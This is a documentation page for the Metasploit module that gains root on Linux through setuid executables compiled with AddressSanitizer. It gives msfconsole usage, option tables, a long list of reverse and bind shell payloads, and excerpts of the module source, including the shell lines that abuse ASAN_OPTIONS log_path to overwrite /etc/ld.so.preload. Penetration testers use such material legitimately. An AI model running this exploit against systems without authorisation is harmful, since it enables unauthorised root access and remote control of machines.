AddressSanitizer (ASan) SUID Executable Privilege Escalation - Metasploit


This page contains detailed information about how to use the exploit/linux/local/asan_suid_executable_priv_esc metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: AddressSanitizer (ASan) SUID Executable Privilege Escalation
Module: exploit/linux/local/asan_suid_executable_priv_esc
Source code: modules/exploits/linux/local/asan_suid_executable_priv_esc.rb
Disclosure date: 2016-02-17
Last modification time: 2021-10-06 13:43:31 +0000
Supported architecture(s): x86, x64, armle, aarch64, ppc, mipsle, mipsbe
Supported platform(s): Linux
Target service / protocol: -
Target network port(s): -
List of CVEs: -

This module is also known as unsanitary.sh.

This module attempts to gain root privileges on Linux systems using setuid executables compiled with AddressSanitizer (ASan). ASan configuration related environment variables are permitted when executing setuid executables built with libasan. The log_path option can be set using the ASAN_OPTIONS environment variable, allowing clobbering of arbitrary files, with the privileges of the setuid user. This module uploads a shared object and sprays symlinks to overwrite /etc/ld.so.preload in order to create a setuid root shell.

Module Ranking and Traits


Module Ranking:

  • excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.

Reliability:

  • repeatable-session: The module is expected to get a shell every time it runs.

Stability:

  • crash-safe: Module should not crash the service.

Basic Usage


Note: To run a local exploit, make sure you are at the msf prompt. Also, to check the session ID, use the sessions command.

msf > use exploit/linux/local/asan_suid_executable_priv_esc
msf exploit(asan_suid_executable_priv_esc) > show targets
    ... a list of targets ...
msf exploit(asan_suid_executable_priv_esc) > set TARGET target-id
msf exploit(asan_suid_executable_priv_esc) > show options
    ... show and set options ...
msf exploit(asan_suid_executable_priv_esc) > set SESSION session-id
msf exploit(asan_suid_executable_priv_esc) > exploit

Required Options


  • SESSION: The session to run this module on.

Go back to menu.

Msfconsole Usage


Here is how the linux/local/asan_suid_executable_priv_esc exploit module looks in the msfconsole:

msf6 > use exploit/linux/local/asan_suid_executable_priv_esc

[*] No payload configured, defaulting to linux/aarch64/meterpreter/reverse_tcp
msf6 exploit(linux/local/asan_suid_executable_priv_esc) > show info

       Name: AddressSanitizer (ASan) SUID Executable Privilege Escalation
     Module: exploit/linux/local/asan_suid_executable_priv_esc
   Platform: Linux
       Arch: x86, x64, armle, aarch64, ppc, mipsle, mipsbe
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2016-02-17

Provided by:
  Szabolcs Nagy
  infodox
  bcoles <[email protected]>

Module stability:
 crash-safe

Module reliability:
 repeatable-session

Available targets:
  Id  Name
  --  ----
  0   Auto

Check supported:
  Yes

Basic options:
  Name             Current Setting  Required  Description
  ----             ---------------  --------  -----------
  SESSION                           yes       The session to run this module on.
  SPRAY_SIZE       50               yes       Number of PID symlinks to create
  SUID_EXECUTABLE                   yes       Path to a SUID executable compiled with ASan

Payload information:

Description:
  This module attempts to gain root privileges on Linux systems using 
  setuid executables compiled with AddressSanitizer (ASan). ASan 
  configuration related environment variables are permitted when 
  executing setuid executables built with libasan. The `log_path` 
  option can be set using the `ASAN_OPTIONS` environment variable, 
  allowing clobbering of arbitrary files, with the privileges of the 
  setuid user. This module uploads a shared object and sprays symlinks 
  to overwrite `/etc/ld.so.preload` in order to create a setuid root 
  shell.

References:
  https://seclists.org/oss-sec/2016/q1/363
  https://seclists.org/oss-sec/2016/q1/379
  https://gist.github.com/0x27/9ff2c8fb445b6ab9c94e
  https://github.com/bcoles/local-exploits/tree/master/asan-suid-root

Also known as:
  unsanitary.sh

Module Options


This is a complete list of options available in the linux/local/asan_suid_executable_priv_esc exploit:

msf6 exploit(linux/local/asan_suid_executable_priv_esc) > show options

Module options (exploit/linux/local/asan_suid_executable_priv_esc):

   Name             Current Setting  Required  Description
   ----             ---------------  --------  -----------
   SESSION                           yes       The session to run this module on.
   SPRAY_SIZE       50               yes       Number of PID symlinks to create
   SUID_EXECUTABLE                   yes       Path to a SUID executable compiled with ASan

Payload options (linux/aarch64/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.204.3    yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Auto

Advanced Options


Here is a complete list of advanced options supported by the linux/local/asan_suid_executable_priv_esc exploit:

msf6 exploit(linux/local/asan_suid_executable_priv_esc) > show advanced

Module advanced options (exploit/linux/local/asan_suid_executable_priv_esc):

   Name                    Current Setting  Required  Description
   ----                    ---------------  --------  -----------
   AutoCheck               true             no        Run check before exploit
   ContextInformationFile                   no        The information file that contains context information
   DisablePayloadHandler   false            no        Disable the handler code for the selected payload
   EXE::Custom                              no        Use custom exe instead of automatically generating a payload exe
   EXE::EICAR              false            no        Generate an EICAR file instead of regular payload exe
   EXE::FallBack           false            no        Use the default template in case the specified one is missing
   EXE::Inject             false            no        Set to preserve the original EXE function
   EXE::OldMethod          false            no        Set to use the substitution EXE generation method.
   EXE::Path                                no        The directory in which to look for the executable template
   EXE::Template                            no        The executable template file name.
   EnableContextEncoding   false            no        Use transient context when encoding payloads
   FileDropperDelay                         no        Delay in seconds before attempting cleanup
   ForceExploit            false            no        Override check result
   MSI::Custom                              no        Use custom msi instead of automatically generating a payload msi
   MSI::EICAR              false            no        Generate an EICAR file instead of regular payload msi
   MSI::Path                                no        The directory in which to look for the msi template
   MSI::Template                            no        The msi template file name
   MSI::UAC                false            no        Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
   VERBOSE                 false            no        Enable detailed status messages
   WORKSPACE                                no        Specify the workspace for this module
   WfsDelay                2                no        Additional delay in seconds to wait for a session
   WritableDir             /tmp             yes       A directory where we can write files

Payload advanced options (linux/aarch64/meterpreter/reverse_tcp):

   Name                         Current Setting  Required  Description
   ----                         ---------------  --------  -----------
   AutoLoadStdapi               true             yes       Automatically load the Stdapi extension
   AutoRunScript                                 no        A script to run automatically on session creation.
   AutoSystemInfo               true             yes       Automatically capture system information on initialization.
   AutoUnhookProcess            false            yes       Automatically load the unhook extension and unhook the process
   AutoVerifySessionTimeout     30               no        Timeout period to wait for session validation to occur, in seconds
   EnableStageEncoding          false            no        Encode the second stage payload
   EnableUnicodeEncoding        false            yes       Automatically encode UTF-8 strings as hexadecimal
   HandlerSSLCert                                no        Path to a SSL certificate in unified PEM format, ignored for HTTP transports
   InitialAutoRunScript                          no        An initial script to run on session creation (before AutoRunScript)
   PayloadProcessCommandLine                     no        The displayed command line that will be used by the payload
   PayloadUUIDName                               no        A human-friendly name to reference this unique payload (requires tracking)
   PayloadUUIDRaw                                no        A hex string representing the raw 8-byte PUID value for the UUID
   PayloadUUIDSeed                               no        A string to use when generating the payload UUID (deterministic)
   PayloadUUIDTracking          false            yes       Whether or not to automatically register generated UUIDs
   PingbackRetries              0                yes       How many additional successful pingbacks
   PingbackSleep                30               yes       Time (in seconds) to sleep between pingbacks
   ReverseAllowProxy            false            yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
   ReverseListenerBindAddress                    no        The specific IP address to bind to on the local system
   ReverseListenerBindPort                       no        The port to bind to on the local system if different from LPORT
   ReverseListenerComm                           no        The specific communication channel to use for this listener
   ReverseListenerThreaded      false            yes       Handle every connection in a new thread (experimental)
   SessionCommunicationTimeout  300              no        The number of seconds of no activity before this session should be killed
   SessionExpirationTimeout     604800           no        The number of seconds before this session should be forcibly shut down
   SessionRetryTotal            3600             no        Number of seconds try reconnecting for on network failure
   SessionRetryWait             10               no        Number of seconds to wait between reconnect attempts
   StageEncoder                                  no        Encoder to use if EnableStageEncoding is set
   StageEncoderSaveRegisters                     no        Additional registers to preserve in the staged payload if EnableStageEncoding is set
   StageEncodingFallback        true             no        Fallback to no encoding if the selected StageEncoder is not compatible
   StagerRetryCount             10               no        The number of times the stager should retry if the first connect fails
   StagerRetryWait              5                no        Number of seconds to wait for the stager between reconnect attempts
   VERBOSE                      false            no        Enable detailed status messages
   WORKSPACE                                     no        Specify the workspace for this module

Exploit Targets


Here is a list of targets (platforms and systems) which the linux/local/asan_suid_executable_priv_esc module can exploit:

msf6 exploit(linux/local/asan_suid_executable_priv_esc) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Auto

Compatible Payloads


This is a list of possible payloads which can be delivered and executed on the target system using the linux/local/asan_suid_executable_priv_esc exploit:

msf6 exploit(linux/local/asan_suid_executable_priv_esc) > show payloads

Compatible Payloads
===================

   #   Name                                               Disclosure Date  Rank    Check  Description
   -   ----                                               ---------------  ----    -----  -----------
   0   payload/generic/custom                                              normal  No     Custom Payload
   1   payload/generic/debug_trap                                          normal  No     Generic x86 Debug Trap
   2   payload/generic/shell_bind_tcp                                      normal  No     Generic Command Shell, Bind TCP Inline
   3   payload/generic/shell_reverse_tcp                                   normal  No     Generic Command Shell, Reverse TCP Inline
   4   payload/generic/tight_loop                                          normal  No     Generic x86 Tight Loop
   5   payload/linux/aarch64/meterpreter/reverse_tcp                       normal  No     Linux Meterpreter, Reverse TCP Stager
   6   payload/linux/aarch64/meterpreter_reverse_http                      normal  No     Linux Meterpreter, Reverse HTTP Inline
   7   payload/linux/aarch64/meterpreter_reverse_https                     normal  No     Linux Meterpreter, Reverse HTTPS Inline
   8   payload/linux/aarch64/meterpreter_reverse_tcp                       normal  No     Linux Meterpreter, Reverse TCP Inline
   9   payload/linux/aarch64/shell/reverse_tcp                             normal  No     Linux dup2 Command Shell, Reverse TCP Stager
   10  payload/linux/aarch64/shell_reverse_tcp                             normal  No     Linux Command Shell, Reverse TCP Inline
   11  payload/linux/armle/exec                                            normal  No     Linux Execute Command
   12  payload/linux/armle/meterpreter/bind_tcp                            normal  No     Linux Meterpreter, Bind TCP Stager
   13  payload/linux/armle/meterpreter/reverse_tcp                         normal  No     Linux Meterpreter, Reverse TCP Stager
   14  payload/linux/armle/meterpreter_reverse_http                        normal  No     Linux Meterpreter, Reverse HTTP Inline
   15  payload/linux/armle/meterpreter_reverse_https                       normal  No     Linux Meterpreter, Reverse HTTPS Inline
   16  payload/linux/armle/meterpreter_reverse_tcp                         normal  No     Linux Meterpreter, Reverse TCP Inline
   17  payload/linux/armle/shell/bind_tcp                                  normal  No     Linux dup2 Command Shell, Bind TCP Stager
   18  payload/linux/armle/shell/reverse_tcp                               normal  No     Linux dup2 Command Shell, Reverse TCP Stager
   19  payload/linux/armle/shell_bind_tcp                                  normal  No     Linux Command Shell, Reverse TCP Inline
   20  payload/linux/armle/shell_reverse_tcp                               normal  No     Linux Command Shell, Reverse TCP Inline
   21  payload/linux/mipsbe/exec                                           normal  No     Linux Execute Command
   22  payload/linux/mipsbe/meterpreter/reverse_tcp                        normal  No     Linux Meterpreter, Reverse TCP Stager
   23  payload/linux/mipsbe/meterpreter_reverse_http                       normal  No     Linux Meterpreter, Reverse HTTP Inline
   24  payload/linux/mipsbe/meterpreter_reverse_https                      normal  No     Linux Meterpreter, Reverse HTTPS Inline
   25  payload/linux/mipsbe/meterpreter_reverse_tcp                        normal  No     Linux Meterpreter, Reverse TCP Inline
   26  payload/linux/mipsbe/reboot                                         normal  No     Linux Reboot
   27  payload/linux/mipsbe/shell/reverse_tcp                              normal  No     Linux Command Shell, Reverse TCP Stager
   28  payload/linux/mipsbe/shell_bind_tcp                                 normal  No     Linux Command Shell, Bind TCP Inline
   29  payload/linux/mipsbe/shell_reverse_tcp                              normal  No     Linux Command Shell, Reverse TCP Inline
   30  payload/linux/mipsle/exec                                           normal  No     Linux Execute Command
   31  payload/linux/mipsle/meterpreter/reverse_tcp                        normal  No     Linux Meterpreter, Reverse TCP Stager
   32  payload/linux/mipsle/meterpreter_reverse_http                       normal  No     Linux Meterpreter, Reverse HTTP Inline
   33  payload/linux/mipsle/meterpreter_reverse_https                      normal  No     Linux Meterpreter, Reverse HTTPS Inline
   34  payload/linux/mipsle/meterpreter_reverse_tcp                        normal  No     Linux Meterpreter, Reverse TCP Inline
   35  payload/linux/mipsle/reboot                                         normal  No     Linux Reboot
   36  payload/linux/mipsle/shell/reverse_tcp                              normal  No     Linux Command Shell, Reverse TCP Stager
   37  payload/linux/mipsle/shell_bind_tcp                                 normal  No     Linux Command Shell, Bind TCP Inline
   38  payload/linux/mipsle/shell_reverse_tcp                              normal  No     Linux Command Shell, Reverse TCP Inline
   39  payload/linux/ppc/meterpreter_reverse_http                          normal  No     Linux Meterpreter, Reverse HTTP Inline
   40  payload/linux/ppc/meterpreter_reverse_https                         normal  No     Linux Meterpreter, Reverse HTTPS Inline
   41  payload/linux/ppc/meterpreter_reverse_tcp                           normal  No     Linux Meterpreter, Reverse TCP Inline
   42  payload/linux/ppc/shell_bind_tcp                                    normal  No     Linux Command Shell, Bind TCP Inline
   43  payload/linux/ppc/shell_reverse_tcp                                 normal  No     Linux Command Shell, Reverse TCP Inline
   44  payload/linux/ppc64/shell_bind_tcp                                  normal  No     Linux Command Shell, Bind TCP Inline
   45  payload/linux/ppc64/shell_reverse_tcp                               normal  No     Linux Command Shell, Reverse TCP Inline
   46  payload/linux/ppc64le/meterpreter_reverse_http                      normal  No     Linux Meterpreter, Reverse HTTP Inline
   47  payload/linux/ppc64le/meterpreter_reverse_https                     normal  No     Linux Meterpreter, Reverse HTTPS Inline
   48  payload/linux/ppc64le/meterpreter_reverse_tcp                       normal  No     Linux Meterpreter, Reverse TCP Inline
   49  payload/linux/ppce500v2/meterpreter_reverse_http                    normal  No     Linux Meterpreter, Reverse HTTP Inline
   50  payload/linux/ppce500v2/meterpreter_reverse_https                   normal  No     Linux Meterpreter, Reverse HTTPS Inline
   51  payload/linux/ppce500v2/meterpreter_reverse_tcp                     normal  No     Linux Meterpreter, Reverse TCP Inline
   52  payload/linux/x64/exec                                              normal  No     Linux Execute Command
   53  payload/linux/x64/meterpreter/bind_tcp                              normal  No     Linux Mettle x64, Bind TCP Stager
   54  payload/linux/x64/meterpreter/reverse_tcp                           normal  No     Linux Mettle x64, Reverse TCP Stager
   55  payload/linux/x64/meterpreter_reverse_http                          normal  No     Linux Meterpreter, Reverse HTTP Inline
   56  payload/linux/x64/meterpreter_reverse_https                         normal  No     Linux Meterpreter, Reverse HTTPS Inline
   57  payload/linux/x64/meterpreter_reverse_tcp                           normal  No     Linux Meterpreter, Reverse TCP Inline
   58  payload/linux/x64/shell/bind_tcp                                    normal  No     Linux Command Shell, Bind TCP Stager
   59  payload/linux/x64/shell/reverse_tcp                                 normal  No     Linux Command Shell, Reverse TCP Stager
   60  payload/linux/x64/shell_bind_ipv6_tcp                               normal  No     Linux x64 Command Shell, Bind TCP Inline (IPv6)
   61  payload/linux/x64/shell_bind_tcp                                    normal  No     Linux Command Shell, Bind TCP Inline
   62  payload/linux/x64/shell_bind_tcp_random_port                        normal  No     Linux Command Shell, Bind TCP Random Port Inline
   63  payload/linux/x64/shell_reverse_ipv6_tcp                            normal  No     Linux x64 Command Shell, Reverse TCP Inline (IPv6)
   64  payload/linux/x64/shell_reverse_tcp                                 normal  No     Linux Command Shell, Reverse TCP Inline
   65  payload/linux/x86/chmod                                             normal  No     Linux Chmod
   66  payload/linux/x86/exec                                              normal  No     Linux Execute Command
   67  payload/linux/x86/meterpreter/bind_ipv6_tcp                         normal  No     Linux Mettle x86, Bind IPv6 TCP Stager (Linux x86)
   68  payload/linux/x86/meterpreter/bind_ipv6_tcp_uuid                    normal  No     Linux Mettle x86, Bind IPv6 TCP Stager with UUID Support (Linux x86)
   69  payload/linux/x86/meterpreter/bind_nonx_tcp                         normal  No     Linux Mettle x86, Bind TCP Stager
   70  payload/linux/x86/meterpreter/bind_tcp                              normal  No     Linux Mettle x86, Bind TCP Stager (Linux x86)
   71  payload/linux/x86/meterpreter/bind_tcp_uuid                         normal  No     Linux Mettle x86, Bind TCP Stager with UUID Support (Linux x86)
   72  payload/linux/x86/meterpreter/reverse_ipv6_tcp                      normal  No     Linux Mettle x86, Reverse TCP Stager (IPv6)
   73  payload/linux/x86/meterpreter/reverse_nonx_tcp                      normal  No     Linux Mettle x86, Reverse TCP Stager
   74  payload/linux/x86/meterpreter/reverse_tcp                           normal  No     Linux Mettle x86, Reverse TCP Stager
   75  payload/linux/x86/meterpreter/reverse_tcp_uuid                      normal  No     Linux Mettle x86, Reverse TCP Stager
   76  payload/linux/x86/meterpreter_reverse_http                          normal  No     Linux Meterpreter, Reverse HTTP Inline
   77  payload/linux/x86/meterpreter_reverse_https                         normal  No     Linux Meterpreter, Reverse HTTPS Inline
   78  payload/linux/x86/meterpreter_reverse_tcp                           normal  No     Linux Meterpreter, Reverse TCP Inline
   79  payload/linux/x86/metsvc_bind_tcp                                   normal  No     Linux Meterpreter Service, Bind TCP
   80  payload/linux/x86/metsvc_reverse_tcp                                normal  No     Linux Meterpreter Service, Reverse TCP Inline
   81  payload/linux/x86/read_file                                         normal  No     Linux Read File
   82  payload/linux/x86/shell/bind_ipv6_tcp                               normal  No     Linux Command Shell, Bind IPv6 TCP Stager (Linux x86)
   83  payload/linux/x86/shell/bind_ipv6_tcp_uuid                          normal  No     Linux Command Shell, Bind IPv6 TCP Stager with UUID Support (Linux x86)
   84  payload/linux/x86/shell/bind_nonx_tcp                               normal  No     Linux Command Shell, Bind TCP Stager
   85  payload/linux/x86/shell/bind_tcp                                    normal  No     Linux Command Shell, Bind TCP Stager (Linux x86)
   86  payload/linux/x86/shell/bind_tcp_uuid                               normal  No     Linux Command Shell, Bind TCP Stager with UUID Support (Linux x86)
   87  payload/linux/x86/shell/reverse_ipv6_tcp                            normal  No     Linux Command Shell, Reverse TCP Stager (IPv6)
   88  payload/linux/x86/shell/reverse_nonx_tcp                            normal  No     Linux Command Shell, Reverse TCP Stager
   89  payload/linux/x86/shell/reverse_tcp                                 normal  No     Linux Command Shell, Reverse TCP Stager
   90  payload/linux/x86/shell/reverse_tcp_uuid                            normal  No     Linux Command Shell, Reverse TCP Stager
   91  payload/linux/x86/shell_bind_ipv6_tcp                               normal  No     Linux Command Shell, Bind TCP Inline (IPv6)
   92  payload/linux/x86/shell_bind_tcp                                    normal  No     Linux Command Shell, Bind TCP Inline
   93  payload/linux/x86/shell_bind_tcp_random_port                        normal  No     Linux Command Shell, Bind TCP Random Port Inline
   94  payload/linux/x86/shell_reverse_tcp                                 normal  No     Linux Command Shell, Reverse TCP Inline
   95  payload/linux/x86/shell_reverse_tcp_ipv6                            normal  No     Linux Command Shell, Reverse TCP Inline (IPv6)

Evasion Options


Here is the full list of possible evasion options supported by the linux/local/asan_suid_executable_priv_esc exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(linux/local/asan_suid_executable_priv_esc) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Compiling failed


Here is a relevant code snippet related to the "Compiling failed" error message:

113:	    end
114:	
115:	    output = cmd_exec gcc_cmd
116:	
117:	    unless output.blank?
118:	      print_error 'Compiling failed:'
119:	      print_line output
120:	    end
121:	
122:	    register_file_for_cleanup path
123:	    chmod path

<SUID_EXE_PATH> is not setuid


Here is a relevant code snippet related to the "<SUID_EXE_PATH> is not setuid" error message:

123:	    chmod path
124:	  end
125:	
126:	  def check
127:	    unless setuid? suid_exe_path
128:	      vprint_error "#{suid_exe_path} is not setuid"
129:	      return CheckCode::Safe
130:	    end
131:	    vprint_good "#{suid_exe_path} is setuid"
132:	
133:	    # Check if the executable was compiled with ASan

<SUID_EXE_PATH> was not compiled with ASan


Here is a relevant code snippet related to the "<SUID_EXE_PATH> was not compiled with ASan" error message:

138:	    # Otherwise, we can try to detect ASan via the help output with the `help=1` option.
139:	    # This approach works regardless of whether the setuid executable is readable,
140:	    # with the obvious disadvantage that it requires invoking the executable.
141:	    if cmd_exec("test -r #{suid_exe_path} && echo true").to_s.include?('true') && command_exists?('ldd')
142:	      unless cmd_exec("ldd #{suid_exe_path}").to_s.include? 'libasan.so'
143:	        vprint_error "#{suid_exe_path} was not compiled with ASan"
144:	        return CheckCode::Safe
145:	      end
146:	    else
147:	      unless cmd_exec("ASAN_OPTIONS=help=1 #{suid_exe_path}").include? 'AddressSanitizer'
148:	        vprint_error "#{suid_exe_path} was not compiled with ASan"

<SUID_EXE_PATH> was not compiled with ASan


Here is a relevant code snippet related to the "<SUID_EXE_PATH> was not compiled with ASan" error message:

143:	        vprint_error "#{suid_exe_path} was not compiled with ASan"
144:	        return CheckCode::Safe
145:	      end
146:	    else
147:	      unless cmd_exec("ASAN_OPTIONS=help=1 #{suid_exe_path}").include? 'AddressSanitizer'
148:	        vprint_error "#{suid_exe_path} was not compiled with ASan"
149:	        return CheckCode::Safe
150:	      end
151:	    end
152:	    vprint_good "#{suid_exe_path} was compiled with ASan"
153:	

gcc is not installed. Compiling will fail.


Here is a relevant code snippet related to the "gcc is not installed. Compiling will fail." error message:

150:	      end
151:	    end
152:	    vprint_good "#{suid_exe_path} was compiled with ASan"
153:	
154:	    unless has_gcc?
155:	      print_error 'gcc is not installed. Compiling will fail.'
156:	      return CheckCode::Safe
157:	    end
158:	    vprint_good 'gcc is installed'
159:	
160:	    CheckCode::Appears

Session already has root privileges. Set ForceExploit to override.


Here is a relevant code snippet related to the "Session already has root privileges. Set ForceExploit to override." error message:

161:	  end
162:	
163:	  def exploit
164:	    if is_root?
165:	      unless datastore['ForceExploit']
166:	        fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.'
167:	      end
168:	    end
169:	
170:	    unless writable? base_dir
171:	      fail_with Failure::BadConfig, "#{base_dir} is not writable"

<BASE_DIR> is not writable


Here is a relevant code snippet related to the "<BASE_DIR> is not writable" error message:

166:	        fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.'
167:	      end
168:	    end
169:	
170:	    unless writable? base_dir
171:	      fail_with Failure::BadConfig, "#{base_dir} is not writable"
172:	    end
173:	
174:	    unless writable? pwd.to_s.strip
175:	      fail_with Failure::BadConfig, "#{pwd.to_s.strip} working directory is not writable"
176:	    end

<PWD.TO_S.STRIP> working directory is not writable


Here is a relevant code snippet related to the "<PWD.TO_S.STRIP> working directory is not writable" error message:

170:	    unless writable? base_dir
171:	      fail_with Failure::BadConfig, "#{base_dir} is not writable"
172:	    end
173:	
174:	    unless writable? pwd.to_s.strip
175:	      fail_with Failure::BadConfig, "#{pwd.to_s.strip} working directory is not writable"
176:	    end
177:	
178:	    if nosuid? base_dir
179:	      fail_with Failure::BadConfig, "#{base_dir} is mounted nosuid"
180:	    end

<BASE_DIR> is mounted nosuid


Here is a relevant code snippet related to the "<BASE_DIR> is mounted nosuid" error message:

174:	    unless writable? pwd.to_s.strip
175:	      fail_with Failure::BadConfig, "#{pwd.to_s.strip} working directory is not writable"
176:	    end
177:	
178:	    if nosuid? base_dir
179:	      fail_with Failure::BadConfig, "#{base_dir} is mounted nosuid"
180:	    end
181:	
182:	    @log_prefix = ".#{rand_text_alphanumeric 5..10}"
183:	
184:	    payload_name = ".#{rand_text_alphanumeric 5..10}"

disable_coredump=1 abort_on_error=1 verbosity=0


Here is a relevant code snippet related to the "disable_coredump=1 abort_on_error=1 verbosity=0" error message:

243:	      #!/bin/sh
244:	      #{spray_path}
245:	      ASAN_OPTIONS="disable_coredump=1 suppressions='/#{@log_prefix}
246:	      #{lib_path}
247:	      ' log_path=./#{@log_prefix} verbosity=0" "#{suid_exe_path}" >/dev/null 2>&1
248:	      ASAN_OPTIONS='disable_coredump=1 abort_on_error=1 verbosity=0' "#{suid_exe_path}" >/dev/null 2>&1
249:	    EOF
250:	    upload_and_chmodx exp_path, exp
251:	
252:	    print_status 'Launching exploit...'
253:	    output = cmd_exec exp_path

Failed to set-uid root <ROOTSHELL_PATH>


Here is a relevant code snippet related to the "Failed to set-uid root <ROOTSHELL_PATH>" error message:

252:	    print_status 'Launching exploit...'
253:	    output = cmd_exec exp_path
254:	    output.each_line { |line| vprint_status line.chomp }
255:	
256:	    unless setuid? @rootshell_path
257:	      fail_with Failure::Unknown, "Failed to set-uid root #{@rootshell_path}"
258:	    end
259:	    print_good "Success! #{@rootshell_path} is set-uid root!"
260:	    vprint_line cmd_exec "ls -la #{@rootshell_path}"
261:	
262:	    print_status 'Executing payload...'

Here is a relevant code snippet related to the "<SPRAY_SIZE> symlinks may require manual cleanup in: <PWD>" error message:

264:	  end
265:	
266:	  def cleanup
267:	    # Safety check to ensure we don't delete everything in the working directory
268:	    if @log_prefix.to_s.strip.eql? ''
269:	      vprint_warning "#{datastore['SPRAY_SIZE']} symlinks may require manual cleanup in: #{pwd}"
270:	    else
271:	      cmd_exec "rm #{pwd}/#{@log_prefix}*"
272:	    end
273:	  ensure
274:	    super

Go back to menu.


References


See Also


Check also the following modules related to this module:

Authors


  • Szabolcs Nagy
  • infodox
  • bcoles

Version


This page has been produced using Metasploit Framework version 6.2.23-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.